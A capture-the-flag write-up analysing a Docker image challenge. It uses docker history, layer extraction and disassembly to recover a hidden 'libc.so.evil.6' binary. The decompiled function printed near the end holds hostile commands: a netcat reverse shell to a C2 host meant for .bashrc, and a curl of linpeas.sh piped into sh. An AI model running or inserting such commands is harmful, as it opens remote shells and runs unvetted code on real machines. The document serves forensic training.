Description
This challenge was in both the forensics and reversing categories
Solution
The challenge is a container that can be pulled using the command described in the challenge description.
docker run -ti hackazon/micro_ghost /bin/sh
As a fan of bash shell, I had to change the /bin/sh to /bin/bash
docker run -ti hackazon/micro_ghost /bin/bash
After we pull up the full docker image, we can investigate the command history
docker history IMAGEID
Of course we have to change the IMAGEID value and to retrieve the challenge image id we can use this simple command
docker image ls | grep hackazon/micro_ghost
docker history fc6642d32b03
The output of the command may not be complete, but we can add additional arguments and use the jq tool to beautify the output.
docker history --format "" fc6642d32b03 --no-trunc |jq .
The full output:
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:06+01:00",
"CreatedBy": "/bin/sh -c rm /lib/x86_64-linux-gnu/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "sha256:fc6642d32b03e5c96e96299b64ca355bcfea30ef6ad4dec984f2601129210bbb",
"Size": "0B"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:04+01:00",
"CreatedBy": "/bin/sh -c /lib/x86_64-linux-gnu/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "0B"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:03+01:00",
"CreatedBy": "/bin/sh -c mv /opt/libc.so.6 /opt/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "1.9MB"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:02+01:00",
"CreatedBy": "/bin/sh -c chmod +x /lib/x86_64-linux-gnu/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "14.4kB"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:00+01:00",
"CreatedBy": "/bin/sh -c #(nop) COPY file:46b15dd2b1c1b2421f8f66c0e0b1adbb2be1fa29bdfb24df21ab41a4393cc4ca in /opt/ld-linux-x86-64.so.2 ",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "204kB"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:00+01:00",
"CreatedBy": "/bin/sh -c #(nop) COPY file:5f853a35eb22d7cd0b3789fdf55937ebf492d63386894ed02ab7d6fa7717ff30 in /opt/libc.so.6 ",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "1.9MB"
}
{
"Comment": "",
"CreatedAt": "2022-07-06T14:22:59+01:00",
"CreatedBy": "/bin/sh -c #(nop) COPY file:1d19734b949df42e538d10ea3e6c9eb33e3f2064be2540a446c095ee007af323 in /lib/x86_64-linux-gnu/libc.so.evil.6 ",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "14.4kB"
}
{
"Comment": "",
"CreatedAt": "2022-06-06T23:21:26+01:00",
"CreatedBy": "/bin/sh -c #(nop) CMD [\"bash\"]",
"CreatedSince": "5 weeks ago",
"ID": "<missing>",
"Size": "0B"
}
{
"Comment": "",
"CreatedAt": "2022-06-06T23:21:25+01:00",
"CreatedBy": "/bin/sh -c #(nop) ADD file:11157b07dde10107f3f6f2b892c869ea83868475d5825167b5f466a7e410eb05 in / ",
"CreatedSince": "5 weeks ago",
"ID": "<missing>",
"Size": "77.8MB"
}
What took my attention is the third value from bottom, where a weird file was copied to the container /lib/x86_64-linux-gnu/libc.so.evil.6
{
"Comment": "",
"CreatedAt": "2022-07-06T14:22:59+01:00",
"CreatedBy": "/bin/sh -c #(nop) COPY file:1d19734b949df42e538d10ea3e6c9eb33e3f2064be2540a446c095ee007af323 in /lib/x86_64-linux-gnu/libc.so.evil.6 ",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "14.4kB"
}
But it seems like it was removed
And this what we can notice in the last command
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:06+01:00",
"CreatedBy": "/bin/sh -c rm /lib/x86_64-linux-gnu/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "sha256:fc6642d32b03e5c96e96299b64ca355bcfea30ef6ad4dec984f2601129210bbb",
"Size": "0B"
}
And just seconds before that it was executed
{
"Comment": "",
"CreatedAt": "2022-07-06T14:23:04+01:00",
"CreatedBy": "/bin/sh -c /lib/x86_64-linux-gnu/libc.so.evil.6",
"CreatedSince": "7 days ago",
"ID": "<missing>",
"Size": "0B"
}
In order to find the original file, we need to examine the preceding layers of the Docker image. One way to do this is by saving the image to a tar archive, which allows us to easily examine the individual layers of the image.
docker save fc6642d32b03 > fc6642d32b03.tar
After extracting the tar file, we can locate a file called manifest.json, which contains information about all the layers of the image. This file can be useful in our investigation.
The file was copied in the third operation, and the second operation was just a CMD command. This means that the binary file we are looking for may be located in the second layer of the image 104337d79b4c7be52c587e29595ddf09df584bd991875e10392a0fc1fd901b57/layer.tar.
Let’s open it in Cutter to disassemble the binary and gain a deeper understanding of what it does
Upon examining the functions of the binary, it appears that it may be a type of malware.
In the screenshot below, the third function appears to be a loop that retrieves its values from the main function.
In order to safely run the binary and see what it does, we can copy it to a Ubuntu container. This will allow us to examine the malware’s behavior without exposing our host system to any potential risks.
Based on the functions we have analyzed, it seems that the malware performs the actions that we have identified.
void fcn.00001208(void)
{
system("apt install netcat");
system("apt install wget");
system("echo \'nc c2.maldomain.del 4444 -e /bin/bash >> ~/.bashrc\'");
system("curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh >lin.log");
return;
}
The third function with the loop was not initially visible to us. However, using the ltrace tool has allowed us to see this function and gain a better understanding of the malware’s behavior.
By default, ltrace limits the output of strings to 32 characters. However, we can use additional arguments to change this behavior -s "number of strings" and view longer strings if needed.
ltrace -s 200 ./libc.so.evil.6
Flag
We were able to successfully retrieve the flag for the challenge.
